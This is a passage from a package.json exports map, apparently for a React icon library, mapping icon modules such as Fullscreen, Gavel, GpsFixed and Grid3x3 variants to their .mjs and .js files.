\"./FrontLoader\": {\n      \"import\": \"./FrontLoader.mjs\",\n      \"require\": \"./FrontLoader.js\",\n      \"default\": \"./FrontLoader.mjs\"\n    },\n    \"./Fullscreen\": {\n      \"import\": \"./Fullscreen.mjs\",\n      \"require\": \"./Fullscreen.js\",\n      \"default\": \"./Fullscreen.mjs\"\n    },\n    \"./FullscreenExit\": {\n      \"import\": \"./FullscreenExit.mjs\",\n      \"require\": \"./FullscreenExit.js\",\n      \"default\": \"./FullscreenExit.mjs\"\n    },\n    \"./FullscreenExitOutlined\": {\n      \"import\": \"./FullscreenExitOutlined.mjs\",\n      \"require\": \"./FullscreenExitOutlined.js\",\n      \"default\": \"./FullscreenExitOutlined.mjs\"\n    },\n    \"./FullscreenExitRounded\": {\n      \"import\": \"./FullscreenExitRounded.mjs\",\n      \"require\": \"./FullscreenExitRounded.js\",\n      \"default\": \"./FullscreenExitRounded.mjs\"\n    },\n    \"./FullscreenExitSharp\": {\n      \"import\": \"./FullscreenExitSharp.mjs\",\n      \"require\": \"./FullscreenExitSharp.js\",\n      \"default\": \"./FullscreenExitSharp.mjs\"\n    },\n    \"./FullscreenExitTwoTone\": {\n      \"import\": \"./FullscreenExitTwoTone.mjs\",\n      \"require\": \"./FullscreenExitTwoTone.js\",\n      \"default\": \"./FullscreenExitTwoTone.mjs\"\n    },\n    \"./FullscreenOutlined\": {\n      \"import\": \"./FullscreenOutlined.mjs\",\n      \"require\": \"./FullscreenOutlined.js\",\n      \"default\": \"./FullscreenOutlined.mjs\"\n    },\n    \"./FullscreenRounded\": {\n      \"import\": \"./FullscreenRounded.mjs\",\n      \"require\": \"./FullscreenRounded.js\",\n      \"default\": \"./FullscreenRounded.mjs\"\n    },\n    \"./FullscreenSharp\": {\n      \"import\": \"./FullscreenSharp.mjs\",\n      \"require\": \"./FullscreenSharp.js\",\n      \"default\": \"./FullscreenSharp.mjs\"\n    },\n    \"./FullscreenTwoTone\": {\n      \"import\": \"./FullscreenTwoTone.mjs\",\n      \"require\": \"./FullscreenTwoTone.js\",\n      \"default\": \"./FullscreenTwoTone.mjs\"\n    },\n    \"./Functions\": {\n      \"import\": \"./Functions.mjs\",\n      \"require\": \"./Functions.js\",\n      \"default\": \"./Functions.mjs\"\n    },\n    \"./FunctionsOutlined\": {\n      \"import\": \"./FunctionsOutlined.mjs\",\n      \"require\": \"./FunctionsOutlined.js\",\n      \"default\": \"./FunctionsOutlined.mjs\"\n    },\n    \"./FunctionsRounded\": {\n      \"require\": \"./FunctionsRounded.js\",\n      \"import\": \"./FunctionsRounded.mjs\",\n      \"default\": \"./FunctionsRounded.mjs\"\n    },\n    \"./FunctionsSharp\": {\n      \"require\": \"./FunctionsSharp.js\",\n      \"import\": \"./FunctionsSharp.mjs\",\n      \"default\": \"./FunctionsSharp.mjs\"\n    },\n    \"./FunctionsTwoTone\": {\n      \"require\": \"./FunctionsTwoTone.js\",\n      \"import\": \"./FunctionsTwoTone.mjs\",\n      \"default\": \"./FunctionsTwoTone.mjs\"\n    },\n    \"./GMobiledata\": {\n      \"require\": \"./GMobiledata.js\",\n      \"import\": \"./GMobiledata.mjs\",\n      \"default\": \"./GMobiledata.mjs\"\n    },\n    \"./GMobiledataOutlined\": {\n      \"require\": \"./GMobiledataOutlined.js\",\n      \"import\": \"./GMobiledataOutlined.mjs\",\n      \"default\": \"./GMobiledataOutlined.mjs\"\n    },\n    \"./GMobiledataRounded\": {\n      \"require\": \"./GMobiledataRounded.js\",\n      \"import\": \"./GMobiledataRounded.mjs\",\n      \"default\": \"./GMobiledataRounded.mjs\"\n    },\n    \"./GMobiledataSharp\": {\n      \"require\": \"./GMobiledataSharp.js\",\n      \"import\": \"./GMobiledataSharp.mjs\",\n      \"default\": \"./GMobiledataSharp.mjs\"\n    },\n    \"./GMobiledataTwoTone\": {\n      \"require\": \"./GMobiledataTwoTone.js\",\n      \"import\": \"./GMobiledataTwoTone.mjs\",\n      \"default\": \"./GMobiledataTwoTone.mjs\"\n    },\n    \"./GTranslate\": {\n      \"require\": \"./GTranslate.js\",\n      \"import\": \"./GTranslate.mjs\",\n      \"default\": \"./GTranslate.mjs\"\n    },\n    \"./GTranslateOutlined\": {\n      \"require\": \"./GTranslateOutlined.js\",\n      \"import\": \"./GTranslateOutlined.mjs\",\n      \"default\": \"./GTranslateOutlined.mjs\"\n    },\n    \"./GTranslateRounded\": {\n      \"require\": \"./GTranslateRounded.js\",\n      \"import\": \"./GTranslateRounded.mjs\",\n      \"default\": \"./GTranslateRounded.mjs\"\n    },\n    \"./GTranslateSharp\": {\n      \"require\": \"./GTranslateSharp.js\",\n      \"import\": \"./GTranslateSharp.mjs\",\n      \"default\": \"./GTranslateSharp.mjs\"\n    },\n    \"./GTranslateTwoTone\": {\n      \"require\": \"./GTranslateTwoTone.js\",\n      \"import\": \"./GTranslateTwoTone.mjs\",\n      \"default\": \"./GTranslateTwoTone.mjs\"\n    },\n    \"./Gamepad\": {\n      \"require\": \"./Gamepad.js\",\n      \"import\": \"./Gamepad.mjs\",\n      \"default\": \"./Gamepad.mjs\"\n    },\n    \"./GamepadOutlined\": {\n      \"require\": \"./GamepadOutlined.js\",\n      \"import\": \"./GamepadOutlined.mjs\",\n      \"default\": \"./GamepadOutlined.mjs\"\n    },\n    \"./GamepadRounded\": {\n      \"require\": \"./GamepadRounded.js\",\n      \"import\": \"./GamepadRounded.mjs\",\n      \"default\": \"./GamepadRounded.mjs\"\n    },\n    \"./GamepadSharp\": {\n      \"require\": \"./GamepadSharp.js\",\n      \"import\": \"./GamepadSharp.mjs\",\n      \"default\": \"./GamepadSharp.mjs\"\n    },\n    \"./GamepadTwoTone\": {\n      \"require\": \"./GamepadTwoTone.js\",\n      \"import\": \"./GamepadTwoTone.mjs\",\n      \"default\": \"./GamepadTwoTone.mjs\"\n    },\n    \"./Games\": {\n      \"require\": \"./Games.js\",\n      \"import\": \"./Games.mjs\",\n      \"default\": \"./Games.mjs\"\n    },\n    \"./GamesOutlined\": {\n      \"require\": \"./GamesOutlined.js\",\n      \"import\": \"./GamesOutlined.mjs\",\n      \"default\": \"./GamesOutlined.mjs\"\n    },\n    \"./GamesRounded\": {\n      \"require\": \"./GamesRounded.js\",\n      \"import\": \"./GamesRounded.mjs\",\n      \"default\": \"./GamesRounded.mjs\"\n    },\n    \"./GamesSharp\": {\n      \"require\": \"./GamesSharp.js\",\n      \"import\": \"./GamesSharp.mjs\",\n      \"default\": \"./GamesSharp.mjs\"\n    },\n    \"./GamesTwoTone\": {\n      \"require\": \"./GamesTwoTone.js\",\n      \"import\": \"./GamesTwoTone.mjs\",\n      \"default\": \"./GamesTwoTone.mjs\"\n    },\n    \"./Garage\": {\n      \"require\": \"./Garage.js\",\n      \"import\": \"./Garage.mjs\",\n      \"default\": \"./Garage.mjs\"\n    },\n    \"./GarageOutlined\": {\n      \"require\": \"./GarageOutlined.js\",\n      \"import\": \"./GarageOutlined.mjs\",\n      \"default\": \"./GarageOutlined.mjs\"\n    },\n    \"./GarageRounded\": {\n      \"require\": \"./GarageRounded.js\",\n      \"import\": \"./GarageRounded.mjs\",\n      \"default\": \"./GarageRounded.mjs\"\n    },\n    \"./GarageSharp\": {\n      \"require\": \"./GarageSharp.js\",\n      \"import\": \"./GarageSharp.mjs\",\n      \"default\": \"./GarageSharp.mjs\"\n    },\n    \"./GarageTwoTone\": {\n      \"require\": \"./GarageTwoTone.js\",\n      \"import\": \"./GarageTwoTone.mjs\",\n      \"default\": \"./GarageTwoTone.mjs\"\n    },\n    \"./GasMeter\": {\n      \"require\": \"./GasMeter.js\",\n      \"import\": \"./GasMeter.mjs\",\n      \"default\": \"./GasMeter.mjs\"\n    },\n    \"./GasMeterOutlined\": {\n      \"require\": \"./GasMeterOutlined.js\",\n      \"import\": \"./GasMeterOutlined.mjs\",\n      \"default\": \"./GasMeterOutlined.mjs\"\n    },\n    \"./GasMeterRounded\": {\n      \"require\": \"./GasMeterRounded.js\",\n      \"import\": \"./GasMeterRounded.mjs\",\n      \"default\": \"./GasMeterRounded.mjs\"\n    },\n    \"./GasMeterSharp\": {\n      \"require\": \"./GasMeterSharp.js\",\n      \"import\": \"./GasMeterSharp.mjs\",\n      \"default\": \"./GasMeterSharp.mjs\"\n    },\n    \"./GasMeterTwoTone\": {\n      \"require\": \"./GasMeterTwoTone.js\",\n      \"import\": \"./GasMeterTwoTone.mjs\",\n      \"default\": \"./GasMeterTwoTone.mjs\"\n    },\n    \"./Gavel\": {\n      \"require\": \"./Gavel.js\",\n      \"import\": \"./Gavel.mjs\",\n      \"default\": \"./Gavel.mjs\"\n    },\n    \"./GavelOutlined\": {\n      \"require\": \"./GavelOutlined.js\",\n      \"import\": \"./GavelOutlined.mjs\",\n      \"default\": \"./GavelOutlined.mjs\"\n    },\n    \"./GavelRounded\": {\n      \"require\": \"./GavelRounded.js\",\n      \"import\": \"./GavelRounded.mjs\",\n      \"default\": \"./GavelRounded.mjs\"\n    },\n    \"./GavelSharp\": {\n      \"require\": \"./GavelSharp.js\",\n      \"import\": \"./GavelSharp.mjs\",\n      \"default\": \"./GavelSharp.mjs\"\n    },\n    \"./GavelTwoTone\": {\n      \"require\": \"./GavelTwoTone.js\",\n      \"import\": \"./GavelTwoTone.mjs\",\n      \"default\": \"./GavelTwoTone.mjs\"\n    },\n    \"./GeneratingTokens\": {\n      \"require\": \"./GeneratingTokens.js\",\n      \"import\": \"./GeneratingTokens.mjs\",\n      \"default\": \"./GeneratingTokens.mjs\"\n    },\n    \"./GeneratingTokensOutlined\": {\n      \"require\": \"./GeneratingTokensOutlined.js\",\n      \"import\": \"./GeneratingTokensOutlined.mjs\",\n      \"default\": \"./GeneratingTokensOutlined.mjs\"\n    },\n    \"./GeneratingTokensRounded\": {\n      \"require\": \"./GeneratingTokensRounded.js\",\n      \"import\": \"./GeneratingTokensRounded.mjs\",\n      \"default\": \"./GeneratingTokensRounded.mjs\"\n    },\n    \"./GeneratingTokensSharp\": {\n      \"require\": \"./GeneratingTokensSharp.js\",\n      \"import\": \"./GeneratingTokensSharp.mjs\",\n      \"default\": \"./GeneratingTokensSharp.mjs\"\n    },\n    \"./GeneratingTokensTwoTone\": {\n      \"require\": \"./GeneratingTokensTwoTone.js\",\n      \"import\": \"./GeneratingTokensTwoTone.mjs\",\n      \"default\": \"./GeneratingTokensTwoTone.mjs\"\n    },\n    \"./Gesture\": {\n      \"require\": \"./Gesture.js\",\n      \"import\": \"./Gesture.mjs\",\n      \"default\": \"./Gesture.mjs\"\n    },\n    \"./GestureOutlined\": {\n      \"require\": \"./GestureOutlined.js\",\n      \"import\": \"./GestureOutlined.mjs\",\n      \"default\": \"./GestureOutlined.mjs\"\n    },\n    \"./GestureRounded\": {\n      \"require\": \"./GestureRounded.js\",\n      \"import\": \"./GestureRounded.mjs\",\n      \"default\": \"./GestureRounded.mjs\"\n    },\n    \"./GestureSharp\": {\n      \"require\": \"./GestureSharp.js\",\n      \"import\": \"./GestureSharp.mjs\",\n      \"default\": \"./GestureSharp.mjs\"\n    },\n    \"./GestureTwoTone\": {\n      \"require\": \"./GestureTwoTone.js\",\n      \"import\": \"./GestureTwoTone.mjs\",\n      \"default\": \"./GestureTwoTone.mjs\"\n    },\n    \"./GetApp\": {\n      \"require\": \"./GetApp.js\",\n      \"import\": \"./GetApp.mjs\",\n      \"default\": \"./GetApp.mjs\"\n    },\n    \"./GetAppOutlined\": {\n      \"require\": \"./GetAppOutlined.js\",\n      \"import\": \"./GetAppOutlined.mjs\",\n      \"default\": \"./GetAppOutlined.mjs\"\n    },\n    \"./GetAppRounded\": {\n      \"require\": \"./GetAppRounded.js\",\n      \"import\": \"./GetAppRounded.mjs\",\n      \"default\": \"./GetAppRounded.mjs\"\n    },\n    \"./GetAppSharp\": {\n      \"require\": \"./GetAppSharp.js\",\n      \"import\": \"./GetAppSharp.mjs\",\n      \"default\": \"./GetAppSharp.mjs\"\n    },\n    \"./GetAppTwoTone\": {\n      \"import\": \"./GetAppTwoTone.mjs\",\n      \"require\": \"./GetAppTwoTone.js\",\n      \"default\": \"./GetAppTwoTone.mjs\"\n    },\n    \"./Gif\": {\n      \"require\": \"./Gif.js\",\n      \"import\": \"./Gif.mjs\",\n      \"default\": \"./Gif.mjs\"\n    },\n    \"./GifBox\": {\n      \"require\": \"./GifBox.js\",\n      \"import\": \"./GifBox.mjs\",\n      \"default\": \"./GifBox.mjs\"\n    },\n    \"./GifBoxOutlined\": {\n      \"require\": \"./GifBoxOutlined.js\",\n      \"import\": \"./GifBoxOutlined.mjs\",\n      \"default\": \"./GifBoxOutlined.mjs\"\n    },\n    \"./GifBoxRounded\": {\n      \"require\": \"./GifBoxRounded.js\",\n      \"import\": \"./GifBoxRounded.mjs\",\n      \"default\": \"./GifBoxRounded.mjs\"\n    },\n    \"./GifBoxSharp\": {\n      \"require\": \"./GifBoxSharp.js\",\n      \"import\": \"./GifBoxSharp.mjs\",\n      \"default\": \"./GifBoxSharp.mjs\"\n    },\n    \"./GifBoxTwoTone\": {\n      \"require\": \"./GifBoxTwoTone.js\",\n      \"import\": \"./GifBoxTwoTone.mjs\",\n      \"default\": \"./GifBoxTwoTone.mjs\"\n    },\n    \"./GifOutlined\": {\n      \"require\": \"./GifOutlined.js\",\n      \"import\": \"./GifOutlined.mjs\",\n      \"default\": \"./GifOutlined.mjs\"\n    },\n    \"./GifRounded\": {\n      \"require\": \"./GifRounded.js\",\n      \"import\": \"./GifRounded.mjs\",\n      \"default\": \"./GifRounded.mjs\"\n    },\n    \"./GifSharp\": {\n      \"require\": \"./GifSharp.js\",\n      \"import\": \"./GifSharp.mjs\",\n      \"default\": \"./GifSharp.mjs\"\n    },\n    \"./GifTwoTone\": {\n      \"require\": \"./GifTwoTone.js\",\n      \"import\": \"./GifTwoTone.mjs\",\n      \"default\": \"./GifTwoTone.mjs\"\n    },\n    \"./Girl\": {\n      \"require\": \"./Girl.js\",\n      \"import\": \"./Girl.mjs\",\n      \"default\": \"./Girl.mjs\"\n    },\n    \"./GirlOutlined\": {\n      \"require\": \"./GirlOutlined.js\",\n      \"import\": \"./GirlOutlined.mjs\",\n      \"default\": \"./GirlOutlined.mjs\"\n    },\n    \"./GirlRounded\": {\n      \"require\": \"./GirlRounded.js\",\n      \"import\": \"./GirlRounded.mjs\",\n      \"default\": \"./GirlRounded.mjs\"\n    },\n    \"./GirlSharp\": {\n      \"require\": \"./GirlSharp.js\",\n      \"import\": \"./GirlSharp.mjs\",\n      \"default\": \"./GirlSharp.mjs\"\n    },\n    \"./GirlTwoTone\": {\n      \"require\": \"./GirlTwoTone.js\",\n      \"import\": \"./GirlTwoTone.mjs\",\n      \"default\": \"./GirlTwoTone.mjs\"\n    },\n    \"./GitHub\": {\n      \"require\": \"./GitHub.js\",\n      \"import\": \"./GitHub.mjs\",\n      \"default\": \"./GitHub.mjs\"\n    },\n    \"./Gite\": {\n      \"require\": \"./Gite.js\",\n      \"import\": \"./Gite.mjs\",\n      \"default\": \"./Gite.mjs\"\n    },\n    \"./GiteOutlined\": {\n      \"require\": \"./GiteOutlined.js\",\n      \"import\": \"./GiteOutlined.mjs\",\n      \"default\": \"./GiteOutlined.mjs\"\n    },\n    \"./GiteRounded\": {\n      \"import\": \"./GiteRounded.mjs\",\n      \"require\": \"./GiteRounded.js\",\n      \"default\": \"./GiteRounded.mjs\"\n    },\n    \"./GiteSharp\": {\n      \"import\": \"./GiteSharp.mjs\",\n      \"require\": \"./GiteSharp.js\",\n      \"default\": \"./GiteSharp.mjs\"\n    },\n    \"./GiteTwoTone\": {\n      \"import\": \"./GiteTwoTone.mjs\",\n      \"require\": \"./GiteTwoTone.js\",\n      \"default\": \"./GiteTwoTone.mjs\"\n    },\n    \"./GolfCourse\": {\n      \"import\": \"./GolfCourse.mjs\",\n      \"require\": \"./GolfCourse.js\",\n      \"default\": \"./GolfCourse.mjs\"\n    },\n    \"./GolfCourseOutlined\": {\n      \"import\": \"./GolfCourseOutlined.mjs\",\n      \"require\": \"./GolfCourseOutlined.js\",\n      \"default\": \"./GolfCourseOutlined.mjs\"\n    },\n    \"./GolfCourseRounded\": {\n      \"import\": \"./GolfCourseRounded.mjs\",\n      \"require\": \"./GolfCourseRounded.js\",\n      \"default\": \"./GolfCourseRounded.mjs\"\n    },\n    \"./GolfCourseSharp\": {\n      \"import\": \"./GolfCourseSharp.mjs\",\n      \"require\": \"./GolfCourseSharp.js\",\n      \"default\": \"./GolfCourseSharp.mjs\"\n    },\n    \"./GolfCourseTwoTone\": {\n      \"import\": \"./GolfCourseTwoTone.mjs\",\n      \"require\": \"./GolfCourseTwoTone.js\",\n      \"default\": \"./GolfCourseTwoTone.mjs\"\n    },\n    \"./Google\": {\n      \"import\": \"./Google.mjs\",\n      \"require\": \"./Google.js\",\n      \"default\": \"./Google.mjs\"\n    },\n    \"./GppBad\": {\n      \"import\": \"./GppBad.mjs\",\n      \"require\": \"./GppBad.js\",\n      \"default\": \"./GppBad.mjs\"\n    },\n    \"./GppBadOutlined\": {\n      \"import\": \"./GppBadOutlined.mjs\",\n      \"require\": \"./GppBadOutlined.js\",\n      \"default\": \"./GppBadOutlined.mjs\"\n    },\n    \"./GppBadRounded\": {\n      \"import\": \"./GppBadRounded.mjs\",\n      \"require\": \"./GppBadRounded.js\",\n      \"default\": \"./GppBadRounded.mjs\"\n    },\n    \"./GppBadSharp\": {\n      \"import\": \"./GppBadSharp.mjs\",\n      \"require\": \"./GppBadSharp.js\",\n      \"default\": \"./GppBadSharp.mjs\"\n    },\n    \"./GppBadTwoTone\": {\n      \"import\": \"./GppBadTwoTone.mjs\",\n      \"require\": \"./GppBadTwoTone.js\",\n      \"default\": \"./GppBadTwoTone.mjs\"\n    },\n    \"./GppGood\": {\n      \"import\": \"./GppGood.mjs\",\n      \"require\": \"./GppGood.js\",\n      \"default\": \"./GppGood.mjs\"\n    },\n    \"./GppGoodOutlined\": {\n      \"import\": \"./GppGoodOutlined.mjs\",\n      \"require\": \"./GppGoodOutlined.js\",\n      \"default\": \"./GppGoodOutlined.mjs\"\n    },\n    \"./GppGoodRounded\": {\n      \"import\": \"./GppGoodRounded.mjs\",\n      \"require\": \"./GppGoodRounded.js\",\n      \"default\": \"./GppGoodRounded.mjs\"\n    },\n    \"./GppGoodSharp\": {\n      \"import\": \"./GppGoodSharp.mjs\",\n      \"require\": \"./GppGoodSharp.js\",\n      \"default\": \"./GppGoodSharp.mjs\"\n    },\n    \"./GppGoodTwoTone\": {\n      \"import\": \"./GppGoodTwoTone.mjs\",\n      \"require\": \"./GppGoodTwoTone.js\",\n      \"default\": \"./GppGoodTwoTone.mjs\"\n    },\n    \"./GppMaybe\": {\n      \"import\": \"./GppMaybe.mjs\",\n      \"require\": \"./GppMaybe.js\",\n      \"default\": \"./GppMaybe.mjs\"\n    },\n    \"./GppMaybeOutlined\": {\n      \"require\": \"./GppMaybeOutlined.js\",\n      \"import\": \"./GppMaybeOutlined.mjs\",\n      \"default\": \"./GppMaybeOutlined.mjs\"\n    },\n    \"./GppMaybeRounded\": {\n      \"require\": \"./GppMaybeRounded.js\",\n      \"import\": \"./GppMaybeRounded.mjs\",\n      \"default\": \"./GppMaybeRounded.mjs\"\n    },\n    \"./GppMaybeSharp\": {\n      \"require\": \"./GppMaybeSharp.js\",\n      \"import\": \"./GppMaybeSharp.mjs\",\n      \"default\": \"./GppMaybeSharp.mjs\"\n    },\n    \"./GppMaybeTwoTone\": {\n      \"require\": \"./GppMaybeTwoTone.js\",\n      \"import\": \"./GppMaybeTwoTone.mjs\",\n      \"default\": \"./GppMaybeTwoTone.mjs\"\n    },\n    \"./GpsFixed\": {\n      \"require\": \"./GpsFixed.js\",\n      \"import\": \"./GpsFixed.mjs\",\n      \"default\": \"./GpsFixed.mjs\"\n    },\n    \"./GpsFixedOutlined\": {\n      \"require\": \"./GpsFixedOutlined.js\",\n      \"import\": \"./GpsFixedOutlined.mjs\",\n      \"default\": \"./GpsFixedOutlined.mjs\"\n    },\n    \"./GpsFixedRounded\": {\n      \"require\": \"./GpsFixedRounded.js\",\n      \"import\": \"./GpsFixedRounded.mjs\",\n      \"default\": \"./GpsFixedRounded.mjs\"\n    },\n    \"./GpsFixedSharp\": {\n      \"require\": \"./GpsFixedSharp.js\",\n      \"import\": \"./GpsFixedSharp.mjs\",\n      \"default\": \"./GpsFixedSharp.mjs\"\n    },\n    \"./GpsFixedTwoTone\": {\n      \"require\": \"./GpsFixedTwoTone.js\",\n      \"import\": \"./GpsFixedTwoTone.mjs\",\n      \"default\": \"./GpsFixedTwoTone.mjs\"\n    },\n    \"./GpsNotFixed\": {\n      \"require\": \"./GpsNotFixed.js\",\n      \"import\": \"./GpsNotFixed.mjs\",\n      \"default\": \"./GpsNotFixed.mjs\"\n    },\n    \"./GpsNotFixedOutlined\": {\n      \"require\": \"./GpsNotFixedOutlined.js\",\n      \"import\": \"./GpsNotFixedOutlined.mjs\",\n      \"default\": \"./GpsNotFixedOutlined.mjs\"\n    },\n    \"./GpsNotFixedRounded\": {\n      \"require\": \"./GpsNotFixedRounded.js\",\n      \"import\": \"./GpsNotFixedRounded.mjs\",\n      \"default\": \"./GpsNotFixedRounded.mjs\"\n    },\n    \"./GpsNotFixedSharp\": {\n      \"require\": \"./GpsNotFixedSharp.js\",\n      \"import\": \"./GpsNotFixedSharp.mjs\",\n      \"default\": \"./GpsNotFixedSharp.mjs\"\n    },\n    \"./GpsNotFixedTwoTone\": {\n      \"require\": \"./GpsNotFixedTwoTone.js\",\n      \"import\": \"./GpsNotFixedTwoTone.mjs\",\n      \"default\": \"./GpsNotFixedTwoTone.mjs\"\n    },\n    \"./GpsOff\": {\n      \"require\": \"./GpsOff.js\",\n      \"import\": \"./GpsOff.mjs\",\n      \"default\": \"./GpsOff.mjs\"\n    },\n    \"./GpsOffOutlined\": {\n      \"require\": \"./GpsOffOutlined.js\",\n      \"import\": \"./GpsOffOutlined.mjs\",\n      \"default\": \"./GpsOffOutlined.mjs\"\n    },\n    \"./GpsOffRounded\": {\n      \"require\": \"./GpsOffRounded.js\",\n      \"import\": \"./GpsOffRounded.mjs\",\n      \"default\": \"./GpsOffRounded.mjs\"\n    },\n    \"./GpsOffSharp\": {\n      \"require\": \"./GpsOffSharp.js\",\n      \"import\": \"./GpsOffSharp.mjs\",\n      \"default\": \"./GpsOffSharp.mjs\"\n    },\n    \"./GpsOffTwoTone\": {\n      \"require\": \"./GpsOffTwoTone.js\",\n      \"import\": \"./GpsOffTwoTone.mjs\",\n      \"default\": \"./GpsOffTwoTone.mjs\"\n    },\n    \"./Grade\": {\n      \"require\": \"./Grade.js\",\n      \"import\": \"./Grade.mjs\",\n      \"default\": \"./Grade.mjs\"\n    },\n    \"./GradeOutlined\": {\n      \"import\": \"./GradeOutlined.mjs\",\n      \"require\": \"./GradeOutlined.js\",\n      \"default\": \"./GradeOutlined.mjs\"\n    },\n    \"./GradeRounded\": {\n      \"import\": \"./GradeRounded.mjs\",\n      \"require\": \"./GradeRounded.js\",\n      \"default\": \"./GradeRounded.mjs\"\n    },\n    \"./GradeSharp\": {\n      \"import\": \"./GradeSharp.mjs\",\n      \"require\": \"./GradeSharp.js\",\n      \"default\": \"./GradeSharp.mjs\"\n    },\n    \"./GradeTwoTone\": {\n      \"import\": \"./GradeTwoTone.mjs\",\n      \"require\": \"./GradeTwoTone.js\",\n      \"default\": \"./GradeTwoTone.mjs\"\n    },\n    \"./Gradient\": {\n      \"import\": \"./Gradient.mjs\",\n      \"require\": \"./Gradient.js\",\n      \"default\": \"./Gradient.mjs\"\n    },\n    \"./GradientOutlined\": {\n      \"import\": \"./GradientOutlined.mjs\",\n      \"require\": \"./GradientOutlined.js\",\n      \"default\": \"./GradientOutlined.mjs\"\n    },\n    \"./GradientRounded\": {\n      \"import\": \"./GradientRounded.mjs\",\n      \"require\": \"./GradientRounded.js\",\n      \"default\": \"./GradientRounded.mjs\"\n    },\n    \"./GradientSharp\": {\n      \"import\": \"./GradientSharp.mjs\",\n      \"require\": \"./GradientSharp.js\",\n      \"default\": \"./GradientSharp.mjs\"\n    },\n    \"./GradientTwoTone\": {\n      \"import\": \"./GradientTwoTone.mjs\",\n      \"require\": \"./GradientTwoTone.js\",\n      \"default\": \"./GradientTwoTone.mjs\"\n    },\n    \"./Grading\": {\n      \"import\": \"./Grading.mjs\",\n      \"require\": \"./Grading.js\",\n      \"default\": \"./Grading.mjs\"\n    },\n    \"./GradingOutlined\": {\n      \"import\": \"./GradingOutlined.mjs\",\n      \"require\": \"./GradingOutlined.js\",\n      \"default\": \"./GradingOutlined.mjs\"\n    },\n    \"./GradingRounded\": {\n      \"import\": \"./GradingRounded.mjs\",\n      \"require\": \"./GradingRounded.js\",\n      \"default\": \"./GradingRounded.mjs\"\n    },\n    \"./GradingSharp\": {\n      \"import\": \"./GradingSharp.mjs\",\n      \"require\": \"./GradingSharp.js\",\n      \"default\": \"./GradingSharp.mjs\"\n    },\n    \"./GradingTwoTone\": {\n      \"import\": \"./GradingTwoTone.mjs\",\n      \"require\": \"./GradingTwoTone.js\",\n      \"default\": \"./GradingTwoTone.mjs\"\n    },\n    \"./Grain\": {\n      \"import\": \"./Grain.mjs\",\n      \"require\": \"./Grain.js\",\n      \"default\": \"./Grain.mjs\"\n    },\n    \"./GrainOutlined\": {\n      \"import\": \"./GrainOutlined.mjs\",\n      \"require\": \"./GrainOutlined.js\",\n      \"default\": \"./GrainOutlined.mjs\"\n    },\n    \"./GrainRounded\": {\n      \"import\": \"./GrainRounded.mjs\",\n      \"require\": \"./GrainRounded.js\",\n      \"default\": \"./GrainRounded.mjs\"\n    },\n    \"./GrainSharp\": {\n      \"import\": \"./GrainSharp.mjs\",\n      \"require\": \"./GrainSharp.js\",\n      \"default\": \"./GrainSharp.mjs\"\n    },\n    \"./GrainTwoTone\": {\n      \"import\": \"./GrainTwoTone.mjs\",\n      \"require\": \"./GrainTwoTone.js\",\n      \"default\": \"./GrainTwoTone.mjs\"\n    },\n    \"./GraphicEq\": {\n      \"import\": \"./GraphicEq.mjs\",\n      \"require\": \"./GraphicEq.js\",\n      \"default\": \"./GraphicEq.mjs\"\n    },\n    \"./GraphicEqOutlined\": {\n      \"import\": \"./GraphicEqOutlined.mjs\",\n      \"require\": \"./GraphicEqOutlined.js\",\n      \"default\": \"./GraphicEqOutlined.mjs\"\n    },\n    \"./GraphicEqRounded\": {\n      \"import\": \"./GraphicEqRounded.mjs\",\n      \"require\": \"./GraphicEqRounded.js\",\n      \"default\": \"./GraphicEqRounded.mjs\"\n    },\n    \"./GraphicEqSharp\": {\n      \"import\": \"./GraphicEqSharp.mjs\",\n      \"require\": \"./GraphicEqSharp.js\",\n      \"default\": \"./GraphicEqSharp.mjs\"\n    },\n    \"./GraphicEqTwoTone\": {\n      \"import\": \"./GraphicEqTwoTone.mjs\",\n      \"require\": \"./GraphicEqTwoTone.js\",\n      \"default\": \"./GraphicEqTwoTone.mjs\"\n    },\n    \"./Grass\": {\n      \"import\": \"./Grass.mjs\",\n      \"require\": \"./Grass.js\",\n      \"default\": \"./Grass.mjs\"\n    },\n    \"./GrassOutlined\": {\n      \"import\": \"./GrassOutlined.mjs\",\n      \"require\": \"./GrassOutlined.js\",\n      \"default\": \"./GrassOutlined.mjs\"\n    },\n    \"./GrassRounded\": {\n      \"import\": \"./GrassRounded.mjs\",\n      \"require\": \"./GrassRounded.js\",\n      \"default\": \"./GrassRounded.mjs\"\n    },\n    \"./GrassSharp\": {\n      \"import\": \"./GrassSharp.mjs\",\n      \"require\": \"./GrassSharp.js\",\n      \"default\": \"./GrassSharp.mjs\"\n    },\n    \"./GrassTwoTone\": {\n      \"import\": \"./GrassTwoTone.mjs\",\n      \"require\": \"./GrassTwoTone.js\",\n      \"default\": \"./GrassTwoTone.mjs\"\n    },\n    \"./Grid3x3\": {\n      \"import\": \"./Grid3x3.mjs\",\n      \"require\": \"./Grid3x3.js\",\n      \"default\": \"./Grid3x3.mjs\"\n    },\n    \"./Grid3x3Outlined\": {\n      \"import\": \"./Grid3x3Outlined.mjs\",\n      \"require\": \"./Grid3x3Outlined.js\",\n      \"default\": \"./Grid3x3Outlined.mjs\"\n    },\n    \"./Grid3x3Rounded\": {\n      \"import\": \"./Grid3x3Rounded.mjs\",\n      \"require\": \"./Grid3x3Rounded.js\",\n      \"default\": \"./Grid3x3Rounded.mjs\"\n    },\n    \"./Grid3x3Sharp\": {\n      \"import\": \"./Grid3x3Sharp.mjs\",\n      \"require\": \"./Grid3x3Sharp.js\",\n      \"default\": \"./Grid3x3Sharp.mjs\"\n    },\n    \"./Grid3x3TwoTone\": {\n      \"import\": \"./Grid3x3TwoTone.mjs\",\n      \"require\": \"./Grid3x3TwoTone.js\",\n      \"default\": \"./Grid3x3TwoTone.mjs\"\n    },\n    \"./Grid4x4\": {\n      \"import\": \"./Grid4x4.mjs\",\n      \"require\": \"./Grid4x4.js\",\n      \"default\": \"./Grid4x4.mjs\"\n    },\n    \"./Grid4x4Outlined\": {\n      \"import\": \"./Grid4x4Outlined.mjs\",\n      \"require\": \"./Grid4x4Outlined.js\",\n      \"default\": \"./Grid4x4Outlined.mjs\"\n    },\n    \"./Grid4x4Rounded\": {\n      \"import\": \"./Grid4x4Rounded.mjs\",\n      \"require\": \"./Grid4x4Rounded.js\",\n      \"default\": \"./Grid4x4Rounded.mjs\"\n    },\n    \"./Grid4x4Sharp\": {\n      \"import\": \"./Grid4x4Sharp.mjs\",\n      \"require\": \"./Grid4x4Sharp.js\",\n      \"default\": \"./Grid4x4Sharp.mjs\"\n    },\n    \"./Grid4x4TwoTone\": {\n      \"import\": \"./Grid4x4TwoTone.mjs\",\n      \"require\": 